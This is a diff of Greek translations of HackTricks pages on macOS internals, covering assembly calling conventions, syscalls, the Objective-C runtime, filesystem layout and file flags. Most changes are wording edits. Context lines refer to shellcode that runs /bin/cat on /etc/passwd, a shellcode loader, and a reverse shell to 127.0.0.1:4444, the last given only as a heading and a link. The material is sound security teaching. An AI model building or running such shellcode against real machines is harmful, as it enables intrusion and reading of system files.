|
||||
- Αν είναι επιτυχής, τελειώσαμε
|
||||
- Απόκτηση runtimeLock (ανάγνωση)
|
||||
- Αν (realize && !cls->realized) πραγματοποιήστε την πραγματοποίηση της κλάσης
|
||||
- Αν (initialize && !cls->initialized) πραγματοποιήστε την αρχικοποίηση της κλάσης
|
||||
- Δοκιμάστε την cache της κλάσης:
|
||||
- Αν είναι επιτυχής, ολοκληρώθηκε
|
||||
- Αν είναι επιτυχής, τελειώσαμε
|
||||
- Δοκιμάστε τη λίστα μεθόδων της κλάσης:
|
||||
- Αν βρεθεί, γεμίστε την cache και ολοκληρώθηκε
|
||||
- Αν βρεθεί, γεμίστε την cache και τελειώσαμε
|
||||
- Δοκιμάστε την cache της υπερκλάσης:
|
||||
- Αν είναι επιτυχής, ολοκληρώθηκε
|
||||
- Αν είναι επιτυχής, τελειώσαμε
|
||||
- Δοκιμάστε τη λίστα μεθόδων της υπερκλάσης:
|
||||
- Αν βρεθεί, γεμίστε την cache και ολοκληρώθηκε
|
||||
- Αν βρεθεί, γεμίστε την cache και τελειώσαμε
|
||||
- Αν (resolver) δοκιμάστε τον επιλυτή μεθόδων και επαναλάβετε από την αναζήτηση κλάσης
|
||||
- Αν είστε ακόμα εδώ (= όλα τα άλλα έχουν αποτύχει) δοκιμάστε τον προωθητή
|
||||
|
||||
@ -417,7 +416,7 @@ done
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>Κώδικας C για τη δοκιμή του shellcode</summary>
|
||||
<summary>Κώδικας C για να δοκιμάσετε το shellcode</summary>
|
||||
```c
|
||||
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
|
||||
// gcc loader.c -o loader
|
||||
@ -565,7 +564,7 @@ cat_path: .asciz "/bin/cat"
|
||||
.align 2
|
||||
passwd_path: .asciz "/etc/passwd"
|
||||
```
|
||||
#### Καλέστε την εντολή με sh από ένα fork ώστε η κύρια διαδικασία να μην τερματιστεί
|
||||
#### Εκτέλεση εντολής με sh από ένα fork ώστε η κύρια διαδικασία να μην τερματιστεί
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
@ -693,7 +692,7 @@ mov x2, xzr
|
||||
mov x16, #59
|
||||
svc #0x1337
|
||||
```
|
||||
#### Αντίστροφη θήκη
|
||||
#### Reverse shell
|
||||
|
||||
Από [https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s), revshell σε **127.0.0.1:4444**
|
||||
```armasm
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## **Εισαγωγή στο x64**
|
||||
|
||||
x64, γνωστό και ως x86-64, είναι μια αρχιτεκτονική επεξεργαστή 64-bit που χρησιμοποιείται κυρίως σε υπολογιστές επιτραπέζιους και διακομιστές. Προέρχεται από την αρχιτεκτονική x86 που παράγεται από την Intel και αργότερα υιοθετήθηκε από την AMD με την ονομασία AMD64, είναι η κυρίαρχη αρχιτεκτονική στους προσωπικούς υπολογιστές και τους διακομιστές σήμερα.
|
||||
x64, γνωστός και ως x86-64, είναι μια αρχιτεκτονική επεξεργαστή 64-bit που χρησιμοποιείται κυρίως σε υπολογιστές επιτραπέζιους και διακομιστές. Προέρχεται από την αρχιτεκτονική x86 που παράγεται από την Intel και αργότερα υιοθετήθηκε από την AMD με την ονομασία AMD64, είναι η κυρίαρχη αρχιτεκτονική στους προσωπικούς υπολογιστές και τους διακομιστές σήμερα.
|
||||
|
||||
### **Καταχωρητές**
|
||||
|
||||
@ -14,7 +14,7 @@ x64 επεκτείνει την αρχιτεκτονική x86, διαθέτον
|
||||
2. **`rbx`** - Συχνά χρησιμοποιείται ως **βασικός καταχωρητής** για λειτουργίες μνήμης.
|
||||
3. **`rcx`** - Συνήθως χρησιμοποιείται για **μετρητές βρόχων**.
|
||||
4. **`rdx`** - Χρησιμοποιείται σε διάφορους ρόλους, συμπεριλαμβανομένων των επεκταμένων αριθμητικών λειτουργιών.
|
||||
5. **`rbp`** - **Βασικός δείκτης** για το πλαίσιο στοίβας.
|
||||
5. **`rbp`** - **Βασικός δείκτης** για το πλαίσιο της στοίβας.
|
||||
6. **`rsp`** - **Δείκτης στοίβας**, παρακολουθεί την κορυφή της στοίβας.
|
||||
7. **`rsi`** και **`rdi`** - Χρησιμοποιούνται για **δείκτες πηγής** και **προορισμού** σε λειτουργίες συμβολοσειρών/μνήμης.
|
||||
8. **`r8`** έως **`r15`** - Πρόσθετοι γενικοί καταχωρητές που εισήχθησαν στο x64.
|
||||
@ -26,7 +26,7 @@ x64 επεκτείνει την αρχιτεκτονική x86, διαθέτον
|
||||
- **Windows**: Οι πρώτες **τέσσερις παραμέτρους** μεταφέρονται στους καταχωρητές **`rcx`**, **`rdx`**, **`r8`**, και **`r9`**. Οι περαιτέρω παράμετροι τοποθετούνται στη στοίβα. Η τιμή επιστροφής είναι στον **`rax`**.
|
||||
- **System V (συνήθως χρησιμοποιούμενη σε συστήματα τύπου UNIX)**: Οι πρώτες **έξι παραμέτρους ακέραιων ή δεικτών** μεταφέρονται στους καταχωρητές **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`**, και **`r9`**. Η τιμή επιστροφής είναι επίσης στον **`rax`**.
|
||||
|
||||
Εάν η συνάρτηση έχει περισσότερες από έξι εισόδους, οι **υπόλοιπες θα μεταφερθούν στη στοίβα**. **RSP**, ο δείκτης στοίβας, πρέπει να είναι **ευθυγραμμισμένος 16 bytes**, που σημαίνει ότι η διεύθυνση στην οποία δείχνει πρέπει να είναι διαιρετή με το 16 πριν από οποιαδήποτε κλήση. Αυτό σημαίνει ότι κανονικά θα πρέπει να διασφαλίσουμε ότι το RSP είναι σωστά ευθυγραμμισμένο στον κώδικα μας πριν κάνουμε μια κλήση συνάρτησης. Ωστόσο, στην πράξη, οι κλήσεις συστήματος λειτουργούν πολλές φορές ακόμη και αν αυτή η απαίτηση δεν πληρούται.
|
||||
Αν η συνάρτηση έχει περισσότερες από έξι εισόδους, οι **υπόλοιπες θα μεταφερθούν στη στοίβα**. **RSP**, ο δείκτης στοίβας, πρέπει να είναι **ευθυγραμμισμένος σε 16 bytes**, που σημαίνει ότι η διεύθυνση στην οποία δείχνει πρέπει να είναι διαιρετή του 16 πριν από οποιαδήποτε κλήση. Αυτό σημαίνει ότι κανονικά θα πρέπει να διασφαλίσουμε ότι το RSP είναι σωστά ευθυγραμμισμένο στον κώδικα μας πριν κάνουμε μια κλήση συνάρτησης. Ωστόσο, στην πράξη, οι κλήσεις συστήματος λειτουργούν πολλές φορές ακόμη και αν αυτή η απαίτηση δεν πληρούται.
|
||||
|
||||
### Σύμβαση Κλήσης στο Swift
|
||||
|
||||
@ -49,7 +49,7 @@ x64 επεκτείνει την αρχιτεκτονική x86, διαθέτον
|
||||
- **`cmp`**: **Συγκρίνει** δύο τιμές και ρυθμίζει τις σημαίες της CPU με βάση το αποτέλεσμα.
|
||||
- Παράδειγμα: `cmp rax, rdx` — Συγκρίνει το `rax` με το `rdx`.
|
||||
- **`je`, `jne`, `jl`, `jge`, ...**: **Εντολές υπό όρους άλματος** που αλλάζουν τη ροή ελέγχου με βάση τα αποτελέσματα μιας προηγούμενης `cmp` ή δοκιμής.
|
||||
- Παράδειγμα: Μετά από μια εντολή `cmp rax, rdx`, `je label` — Πηδάει στο `label` αν το `rax` είναι ίσο με το `rdx`.
|
||||
- Παράδειγμα: Μετά από μια εντολή `cmp rax, rdx`, `je label` — Άλμα στο `label` αν το `rax` είναι ίσο με το `rdx`.
|
||||
- **`syscall`**: Χρησιμοποιείται για **κλήσεις συστήματος** σε ορισμένα συστήματα x64 (όπως οι σύγχρονοι Unix).
|
||||
- **`sysenter`**: Μια βελτιστοποιημένη εντολή **κλήσης συστήματος** σε ορισμένες πλατφόρμες.
|
||||
|
||||
@ -69,7 +69,7 @@ x64 επεκτείνει την αρχιτεκτονική x86, διαθέτον
|
||||
|
||||
### syscalls
|
||||
|
||||
Υπάρχουν διαφορετικές κατηγορίες syscalls, μπορείτε να [**τα βρείτε εδώ**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall_sw.h)**:**
|
||||
Υπάρχουν διαφορετικές κατηγορίες syscalls, μπορείτε να [**τις βρείτε εδώ**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall_sw.h)**:**
|
||||
```c
|
||||
#define SYSCALL_CLASS_NONE 0 /* Invalid */
|
||||
#define SYSCALL_CLASS_MACH 1 /* Mach */
|
||||
@ -78,7 +78,7 @@ x64 επεκτείνει την αρχιτεκτονική x86, διαθέτον
|
||||
#define SYSCALL_CLASS_DIAG 4 /* Diagnostics */
|
||||
#define SYSCALL_CLASS_IPC 5 /* Mach IPC */
|
||||
```
|
||||
Τότε, μπορείτε να βρείτε κάθε αριθμό syscall [**σε αυτήν τη διεύθυνση**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:**
|
||||
Τότε, μπορείτε να βρείτε κάθε αριθμό syscall [**σε αυτή τη διεύθυνση**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:**
|
||||
```c
|
||||
0 AUE_NULL ALL { int nosys(void); } { indirect syscall }
|
||||
1 AUE_EXIT ALL { void exit(int rval); }
|
||||
@ -95,13 +95,13 @@ x64 επεκτείνει την αρχιτεκτονική x86, διαθέτον
|
||||
12 AUE_CHDIR ALL { int chdir(user_addr_t path); }
|
||||
[...]
|
||||
```
|
||||
Έτσι, για να καλέσετε το `open` syscall (**5**) από την **Unix/BSD κλάση** πρέπει να το προσθέσετε: `0x2000000`
|
||||
Έτσι, για να καλέσετε το `open` syscall (**5**) από την **Unix/BSD class** πρέπει να το προσθέσετε: `0x2000000`
|
||||
|
||||
Έτσι, ο αριθμός syscall για να καλέσετε το open θα είναι `0x2000005`
|
||||
|
||||
### Shellcodes
|
||||
|
||||
Για να κάνετε compile:
|
||||
Για να το μεταγλωττίσετε:
|
||||
```bash
|
||||
nasm -f macho64 shell.asm -o shell.o
|
||||
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
|
||||
@ -209,7 +209,7 @@ syscall
|
||||
|
||||
#### Διαβάστε με cat
|
||||
|
||||
Ο στόχος είναι να εκτελέσετε `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, έτσι ώστε το δεύτερο επιχείρημα (x1) να είναι ένας πίνακας παραμέτρων (που στη μνήμη σημαίνει μια στοίβα διευθύνσεων).
|
||||
Ο στόχος είναι να εκτελέσουμε `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, έτσι ώστε το δεύτερο επιχείρημα (x1) να είναι ένας πίνακας παραμέτρων (που στη μνήμη σημαίνει μια στοίβα διευθύνσεων).
|
||||
```armasm
|
||||
bits 64
|
||||
section .text
|
||||
|
||||
@ -57,7 +57,7 @@ uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .versi
|
||||
|
||||
### Memory sections used
|
||||
|
||||
Οι περισσότερες από τις δεδομένες πληροφορίες που χρησιμοποιούνται από το ObjectiveC runtime θα αλλάξουν κατά τη διάρκεια της εκτέλεσης, επομένως χρησιμοποιεί ορισμένες ενότητες από το **\_\_DATA** τμήμα στη μνήμη:
|
||||
Οι περισσότερες από τις δεδομένες που χρησιμοποιούνται από το ObjectiveC runtime θα αλλάξουν κατά τη διάρκεια της εκτέλεσης, επομένως χρησιμοποιεί ορισμένες ενότητες από το **\_\_DATA** τμήμα στη μνήμη:
|
||||
|
||||
- **`__objc_msgrefs`** (`message_ref_t`): Αναφορές μηνυμάτων
|
||||
- **`__objc_ivar`** (`ivar`): Μεταβλητές στιγμής
|
||||
@ -140,6 +140,6 @@ data()->setFlags(set);
|
||||
Αυτή η κλάση χρησιμοποιεί μερικά bits του πεδίου isa για να υποδείξει κάποιες πληροφορίες σχετικά με την κλάση.
|
||||
|
||||
Στη συνέχεια, η δομή έχει έναν δείκτη στη δομή `class_ro_t` που αποθηκεύεται στο δίσκο και περιέχει χαρακτηριστικά της κλάσης όπως το όνομά της, τις βασικές μεθόδους, τις ιδιότητες και τις μεταβλητές στιγμής.\
|
||||
Κατά τη διάρκεια της εκτέλεσης, χρησιμοποιείται μια επιπλέον δομή `class_rw_t` που περιέχει δείκτες που μπορούν να τροποποιηθούν, όπως μεθόδους, πρωτόκολλα, ιδιότητες...
|
||||
Κατά τη διάρκεια της εκτέλεσης, χρησιμοποιείται μια επιπλέον δομή `class_rw_t` που περιέχει δείκτες οι οποίοι μπορούν να τροποποιηθούν, όπως μέθοδοι, πρωτόκολλα, ιδιότητες...
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -12,20 +12,20 @@
|
||||
- **/Library**: Πολλοί υποφάκελοι και αρχεία που σχετίζονται με προτιμήσεις, cache και logs μπορούν να βρεθούν εδώ. Ένας φάκελος Library υπάρχει στη ρίζα και στον κατάλογο κάθε χρήστη.
|
||||
- **/private**: Μη τεκμηριωμένο αλλά πολλοί από τους αναφερόμενους φακέλους είναι συμβολικοί σύνδεσμοι προς τον ιδιωτικό κατάλογο.
|
||||
- **/sbin**: Βασικά συστήματα δυαδικών αρχείων (σχετικά με τη διαχείριση)
|
||||
- **/System**: Αρχεία για να τρέξει το OS X. Θα βρείτε κυρίως μόνο αρχεία συγκεκριμένα της Apple εδώ (όχι τρίτων).
|
||||
- **/System**: Αρχεία για την εκτέλεση του OS X. Θα βρείτε κυρίως μόνο αρχεία που σχετίζονται με την Apple εδώ (όχι τρίτων).
|
||||
- **/tmp**: Τα αρχεία διαγράφονται μετά από 3 ημέρες (είναι ένας μαλακός σύνδεσμος προς /private/tmp)
|
||||
- **/Users**: Κατάλογος αρχικής για τους χρήστες.
|
||||
- **/usr**: Ρυθμίσεις και δυαδικά αρχεία συστήματος
|
||||
- **/var**: Αρχεία καταγραφής
|
||||
- **/Volumes**: Οι προσαρτημένοι δίσκοι θα εμφανίζονται εδώ.
|
||||
- **/.vol**: Εκτελώντας `stat a.txt` αποκτάτε κάτι σαν `16777223 7545753 -rw-r--r-- 1 username wheel ...` όπου ο πρώτος αριθμός είναι ο αριθμός ταυτότητας του τόμου όπου υπάρχει το αρχείο και ο δεύτερος είναι ο αριθμός inode. Μπορείτε να αποκτήσετε το περιεχόμενο αυτού του αρχείου μέσω /.vol/ με αυτές τις πληροφορίες εκτελώντας `cat /.vol/16777223/7545753`
|
||||
- **/.vol**: Εκτελώντας `stat a.txt` αποκτάτε κάτι σαν `16777223 7545753 -rw-r--r-- 1 username wheel ...` όπου ο πρώτος αριθμός είναι ο αριθμός ταυτότητας του τόμου όπου υπάρχει το αρχείο και ο δεύτερος είναι ο αριθμός inode. Μπορείτε να αποκτήσετε πρόσβαση στο περιεχόμενο αυτού του αρχείου μέσω /.vol/ με αυτές τις πληροφορίες εκτελώντας `cat /.vol/16777223/7545753`
|
||||
|
||||
### Φάκελοι Εφαρμογών
|
||||
|
||||
- **Συστήματα εφαρμογών** βρίσκονται κάτω από `/System/Applications`
|
||||
- **Εγκατεστημένες** εφαρμογές συνήθως εγκαθίστανται σε `/Applications` ή σε `~/Applications`
|
||||
- **Δεδομένα εφαρμογών** μπορούν να βρεθούν σε `/Library/Application Support` για τις εφαρμογές που τρέχουν ως root και `~/Library/Application Support` για τις εφαρμογές που τρέχουν ως χρήστης.
|
||||
- Οι **daemons** τρίτων εφαρμογών που **χρειάζονται να τρέχουν ως root** συνήθως βρίσκονται σε `/Library/PrivilegedHelperTools/`
|
||||
- **Δεδομένα εφαρμογών** μπορούν να βρεθούν σε `/Library/Application Support` για τις εφαρμογές που εκτελούνται ως root και `~/Library/Application Support` για τις εφαρμογές που εκτελούνται ως χρήστης.
|
||||
- Οι **daemons** τρίτων που **χρειάζονται να εκτελούνται ως root** συνήθως βρίσκονται σε `/Library/PrivilegedHelperTools/`
|
||||
- Οι **Sandboxed** εφαρμογές είναι χαρτογραφημένες στον φάκελο `~/Library/Containers`. Κάθε εφαρμογή έχει έναν φάκελο ονομασμένο σύμφωνα με το ID του bundle της εφαρμογής (`com.apple.Safari`).
|
||||
- Ο **kernel** βρίσκεται σε `/System/Library/Kernels/kernel`
|
||||
- Οι **επέκταση πυρήνα της Apple** βρίσκονται σε `/System/Library/Extensions`
|
||||
@ -58,12 +58,12 @@ macos-installers-abuse.md
|
||||
- `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -`
|
||||
- **`.app`**: Εφαρμογές της Apple που ακολουθούν τη δομή καταλόγου (είναι ένα bundle).
|
||||
- **`.dylib`**: Δυναμικές βιβλιοθήκες (όπως τα αρχεία DLL των Windows)
|
||||
- **`.pkg`**: Είναι τα ίδια με xar (eXtensible Archive format). Η εντολή εγκατάστασης μπορεί να χρησιμοποιηθεί για να εγκαταστήσει το περιεχόμενο αυτών των αρχείων.
|
||||
- **`.pkg`**: Είναι τα ίδια με το xar (eXtensible Archive format). Η εντολή εγκατάστασης μπορεί να χρησιμοποιηθεί για την εγκατάσταση των περιεχομένων αυτών των αρχείων.
|
||||
- **`.DS_Store`**: Αυτό το αρχείο βρίσκεται σε κάθε κατάλογο, αποθηκεύει τα χαρακτηριστικά και τις προσαρμογές του καταλόγου.
|
||||
- **`.Spotlight-V100`**: Αυτός ο φάκελος εμφανίζεται στον ριζικό κατάλογο κάθε τόμου στο σύστημα.
|
||||
- **`.metadata_never_index`**: Αν αυτό το αρχείο βρίσκεται στη ρίζα ενός τόμου, το Spotlight δεν θα ευρετηριάσει αυτόν τον τόμο.
|
||||
- **`.noindex`**: Αρχεία και φάκελοι με αυτήν την επέκταση δεν θα ευρετηριαστούν από το Spotlight.
|
||||
- **`.sdef`**: Αρχεία μέσα σε bundles που καθορίζουν πώς είναι δυνατό να αλληλεπιδράσετε με την εφαρμογή από ένα AppleScript.
|
||||
- **`.sdef`**: Αρχεία μέσα σε bundles που καθορίζουν πώς είναι δυνατόν να αλληλεπιδράσετε με την εφαρμογή από ένα AppleScript.
|
||||
|
||||
### macOS Bundles
|
||||
|
||||
@ -115,7 +115,7 @@ dyldex_all [dyld_shared_cache_path] # Extract all
|
||||
Χρησιμοποιώντας τις μεταβλητές περιβάλλοντος:
|
||||
|
||||
- **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR=</path/dir> DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> Αυτό θα επιτρέψει τη φόρτωση μιας νέας shared library cache
|
||||
- **`DYLD_SHARED_CACHE_DIR=avoid`** και χειροκίνητα αντικαταστήστε τις βιβλιοθήκες με symlinks στη shared cache με τις πραγματικές (θα χρειαστεί να τις εξαγάγετε)
|
||||
- **`DYLD_SHARED_CACHE_DIR=avoid`** και αντικαταστήστε χειροκίνητα τις βιβλιοθήκες με symlinks στη shared cache με τις πραγματικές (θα χρειαστεί να τις εξαγάγετε).
|
||||
|
||||
## Special File Permissions
|
||||
|
||||
@ -128,27 +128,27 @@ dyldex_all [dyld_shared_cache_path] # Extract all
|
||||
Υπάρχουν ορισμένες σημαίες που μπορούν να οριστούν στα αρχεία που θα κάνουν το αρχείο να συμπεριφέρεται διαφορετικά. Μπορείτε να **ελέγξετε τις σημαίες** των αρχείων μέσα σε έναν κατάλογο με `ls -lO /path/directory`
|
||||
|
||||
- **`uchg`**: Γνωστή ως σημαία **uchange** θα **αποτρέψει οποιαδήποτε ενέργεια** αλλαγής ή διαγραφής του **αρχείου**. Για να την ορίσετε κάντε: `chflags uchg file.txt`
|
||||
- Ο χρήστης root θα μπορούσε να **αφαιρέσει τη σημαία** και να τροποποιήσει το αρχείο
|
||||
- Ο χρήστης root θα μπορούσε να **αφαιρέσει τη σημαία** και να τροποποιήσει το αρχείο.
|
||||
- **`restricted`**: Αυτή η σημαία καθιστά το αρχείο **προστατευμένο από SIP** (δεν μπορείτε να προσθέσετε αυτή τη σημαία σε ένα αρχείο).
|
||||
- **`Sticky bit`**: Αν ένας κατάλογος έχει sticky bit, **μόνο** ο **ιδιοκτήτης του καταλόγου ή ο root μπορεί να μετονομάσει ή να διαγράψει** αρχεία. Συνήθως αυτό ορίζεται στον κατάλογο /tmp για να αποτρέψει τους κανονικούς χρήστες από το να διαγράψουν ή να μετακινήσουν τα αρχεία άλλων χρηστών.
|
||||
|
||||
Όλες οι σημαίες μπορούν να βρεθούν στο αρχείο `sys/stat.h` (βρείτε το χρησιμοποιώντας `mdfind stat.h | grep stat.h`) και είναι:
|
||||
|
||||
- `UF_SETTABLE` 0x0000ffff: Μάσκα μεταβλητών που αλλάζουν από τον ιδιοκτήτη.
|
||||
- `UF_NODUMP` 0x00000001: Μην αποθηκεύετε το αρχείο.
|
||||
- `UF_NODUMP` 0x00000001: Μην εκφορτώνετε το αρχείο.
|
||||
- `UF_IMMUTABLE` 0x00000002: Το αρχείο δεν μπορεί να αλλάξει.
|
||||
- `UF_APPEND` 0x00000004: Οι εγγραφές στο αρχείο μπορούν να προστίθενται μόνο.
|
||||
- `UF_APPEND` 0x00000004: Οι εγγραφές στο αρχείο μπορούν μόνο να προστεθούν.
|
||||
- `UF_OPAQUE` 0x00000008: Ο κατάλογος είναι αδιαφανής σε σχέση με την ένωση.
|
||||
- `UF_COMPRESSED` 0x00000020: Το αρχείο είναι συμπιεσμένο (ορισμένα συστήματα αρχείων).
|
||||
- `UF_TRACKED` 0x00000040: Καμία ειδοποίηση για διαγραφές/μετονομασίες για αρχεία με αυτή τη ρύθμιση.
|
||||
- `UF_DATAVAULT` 0x00000080: Απαιτείται δικαίωμα για ανάγνωση και εγγραφή.
|
||||
- `UF_HIDDEN` 0x00008000: Υπόδειξη ότι αυτό το στοιχείο δεν πρέπει να εμφανίζεται σε GUI.
|
||||
- `SF_SUPPORTED` 0x009f0000: Μάσκα υποστηριζόμενων σημαίων superuser.
|
||||
- `SF_SUPPORTED` 0x009f0000: Μάσκα σημαίων που υποστηρίζονται από superuser.
|
||||
- `SF_SETTABLE` 0x3fff0000: Μάσκα μεταβλητών που αλλάζουν από superuser.
|
||||
- `SF_SYNTHETIC` 0xc0000000: Μάσκα συστημικών αναγνωρίσιμων σημαίων μόνο για ανάγνωση.
|
||||
- `SF_SYNTHETIC` 0xc0000000: Μάσκα συστημικών αναγνωρίσιμων συνθετικών σημαίων.
|
||||
- `SF_ARCHIVED` 0x00010000: Το αρχείο είναι αρχειοθετημένο.
|
||||
- `SF_IMMUTABLE` 0x00020000: Το αρχείο δεν μπορεί να αλλάξει.
|
||||
- `SF_APPEND` 0x00040000: Οι εγγραφές στο αρχείο μπορούν να προστίθενται μόνο.
|
||||
- `SF_APPEND` 0x00040000: Οι εγγραφές στο αρχείο μπορούν μόνο να προστεθούν.
|
||||
- `SF_RESTRICTED` 0x00080000: Απαιτείται δικαίωμα για εγγραφή.
|
||||
- `SF_NOUNLINK` 0x00100000: Το στοιχείο δεν μπορεί να αφαιρεθεί, να μετονομαστεί ή να προσαρτηθεί.
|
||||
- `SF_FIRMLINK` 0x00800000: Το αρχείο είναι firmlink.
|
||||
@ -196,7 +196,7 @@ ls -RAle / 2>/dev/null | grep -E -B1 "\d: "
|
||||
|
||||
### Resource Forks | macOS ADS
|
||||
|
||||
Αυτή είναι μια μέθοδος για να αποκτήσετε **Εναλλακτικά Ρεύματα Δεδομένων σε μηχανές MacOS**. Μπορείτε να αποθηκεύσετε περιεχόμενο μέσα σε μια εκτεταμένη ιδιότητα που ονομάζεται **com.apple.ResourceFork** μέσα σε ένα αρχείο αποθηκεύοντάς το σε **file/..namedfork/rsrc**.
|
||||
Αυτή είναι μια μέθοδος για να αποκτήσετε **Εναλλακτικά Ρεύματα Δεδομένων σε MacOS** μηχανές. Μπορείτε να αποθηκεύσετε περιεχόμενο μέσα σε μια εκτεταμένη ιδιότητα που ονομάζεται **com.apple.ResourceFork** μέσα σε ένα αρχείο αποθηκεύοντάς το σε **file/..namedfork/rsrc**.
|
||||
```bash
|
||||
echo "Hello" > a.txt
|
||||
echo "Hello Mac ADS" > a.txt/..namedfork/rsrc
|
||||
@ -215,7 +215,7 @@ find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf
|
||||
|
||||
Η επεκταμένη ιδιότητα `com.apple.decmpfs` υποδεικνύει ότι το αρχείο αποθηκεύεται κρυπτογραφημένο, το `ls -l` θα αναφέρει **μέγεθος 0** και τα συμπιεσμένα δεδομένα βρίσκονται μέσα σε αυτή την ιδιότητα. Όποτε το αρχείο προσπελάζεται, θα αποκρυπτογραφείται στη μνήμη.
|
||||
|
||||
Αυτή η ιδιότητα μπορεί να φαίνεται με το `ls -lO` υποδεικνύοντας ότι είναι συμπιεσμένο επειδή τα συμπιεσμένα αρχεία είναι επίσης επισημασμένα με τη σημαία `UF_COMPRESSED`. Αν ένα συμπιεσμένο αρχείο αφαιρεθεί αυτή η σημαία με `chflags nocompressed </path/to/file>`, το σύστημα δεν θα γνωρίζει ότι το αρχείο ήταν συμπιεσμένο και επομένως δεν θα μπορεί να αποσυμπιέσει και να προσπελάσει τα δεδομένα (θα νομίζει ότι είναι στην πραγματικότητα κενό).
|
||||
Αυτή η ιδιότητα μπορεί να φαίνεται με το `ls -lO` υποδεικνύοντας ότι είναι συμπιεσμένο επειδή τα συμπιεσμένα αρχεία είναι επίσης επισημασμένα με την ετικέτα `UF_COMPRESSED`. Εάν ένα συμπιεσμένο αρχείο αφαιρεθεί με αυτή την ετικέτα `chflags nocompressed </path/to/file>`, το σύστημα δεν θα γνωρίζει ότι το αρχείο ήταν συμπιεσμένο και επομένως δεν θα μπορεί να το αποσυμπιέσει και να προσπελάσει τα δεδομένα (θα νομίζει ότι είναι στην πραγματικότητα κενό).
|
||||
|
||||
Το εργαλείο afscexpand μπορεί να χρησιμοποιηθεί για να αναγκάσει την αποσυμπίεση ενός αρχείου.
|
||||
|
||||
@ -237,20 +237,20 @@ macos-memory-dumping.md
|
||||
|
||||
## Risk Category Files Mac OS
|
||||
|
||||
Ο φάκελος `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` είναι όπου αποθηκεύεται πληροφορία σχετικά με τον **κίνδυνο που σχετίζεται με διαφορετικές επεκτάσεις αρχείων**. Αυτός ο φάκελος κατηγοριοποιεί τα αρχεία σε διάφορα επίπεδα κινδύνου, επηρεάζοντας το πώς το Safari χειρίζεται αυτά τα αρχεία κατά τη λήψη τους. Οι κατηγορίες είναι οι εξής:
|
||||
Ο φάκελος `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` είναι όπου αποθηκεύεται πληροφορία σχετικά με τον **κίνδυνο που σχετίζεται με διαφορετικές επεκτάσεις αρχείων**. Αυτός ο φάκελος κατηγοριοποιεί τα αρχεία σε διάφορα επίπεδα κινδύνου, επηρεάζοντας το πώς το Safari χειρίζεται αυτά τα αρχεία κατά τη λήψη. Οι κατηγορίες είναι οι εξής:
|
||||
|
||||
- **LSRiskCategorySafe**: Τα αρχεία σε αυτή την κατηγορία θεωρούνται **εντελώς ασφαλή**. Το Safari θα ανοίξει αυτόματα αυτά τα αρχεία μετά τη λήψη τους.
|
||||
- **LSRiskCategoryNeutral**: Αυτά τα αρχεία δεν συνοδεύονται από προειδοποιήσεις και **δεν ανοίγονται αυτόματα** από το Safari.
|
||||
- **LSRiskCategoryUnsafeExecutable**: Τα αρχεία κάτω από αυτή την κατηγορία **προκαλούν μια προειδοποίηση** υποδεικνύοντας ότι το αρχείο είναι μια εφαρμογή. Αυτό λειτουργεί ως μέτρο ασφαλείας για να ειδοποιήσει τον χρήστη.
|
||||
- **LSRiskCategoryMayContainUnsafeExecutable**: Αυτή η κατηγορία είναι για αρχεία, όπως τα αρχεία αρχειοθέτησης, που μπορεί να περιέχουν μια εκτελέσιμη εφαρμογή. Το Safari θα **προκαλέσει μια προειδοποίηση** εκτός αν μπορεί να επαληθεύσει ότι όλα τα περιεχόμενα είναι ασφαλή ή ουδέτερα.
|
||||
- **LSRiskCategoryUnsafeExecutable**: Τα αρχεία κάτω από αυτή την κατηγορία **προκαλούν προειδοποίηση** υποδεικνύοντας ότι το αρχείο είναι εφαρμογή. Αυτό λειτουργεί ως μέτρο ασφαλείας για να ειδοποιήσει τον χρήστη.
|
||||
- **LSRiskCategoryMayContainUnsafeExecutable**: Αυτή η κατηγορία είναι για αρχεία, όπως τα αρχεία αρχειοθέτησης, που μπορεί να περιέχουν εκτελέσιμο. Το Safari θα **προκαλέσει προειδοποίηση** εκτός αν μπορεί να επαληθεύσει ότι όλα τα περιεχόμενα είναι ασφαλή ή ουδέτερα.
|
||||
|
||||
## Log files
|
||||
|
||||
- **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**: Περιέχει πληροφορίες σχετικά με τα ληφθέντα αρχεία, όπως τη διεύθυνση URL από όπου λήφθηκαν.
|
||||
- **`/var/log/system.log`**: Κύριο αρχείο καταγραφής των συστημάτων OSX. Το com.apple.syslogd.plist είναι υπεύθυνο για την εκτέλεση της καταγραφής συστήματος (μπορείτε να ελέγξετε αν είναι απενεργοποιημένο αναζητώντας "com.apple.syslogd" στο `launchctl list`).
|
||||
- **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**: Περιέχει πληροφορίες σχετικά με τα ληφθέντα αρχεία, όπως το URL από το οποίο λήφθηκαν.
|
||||
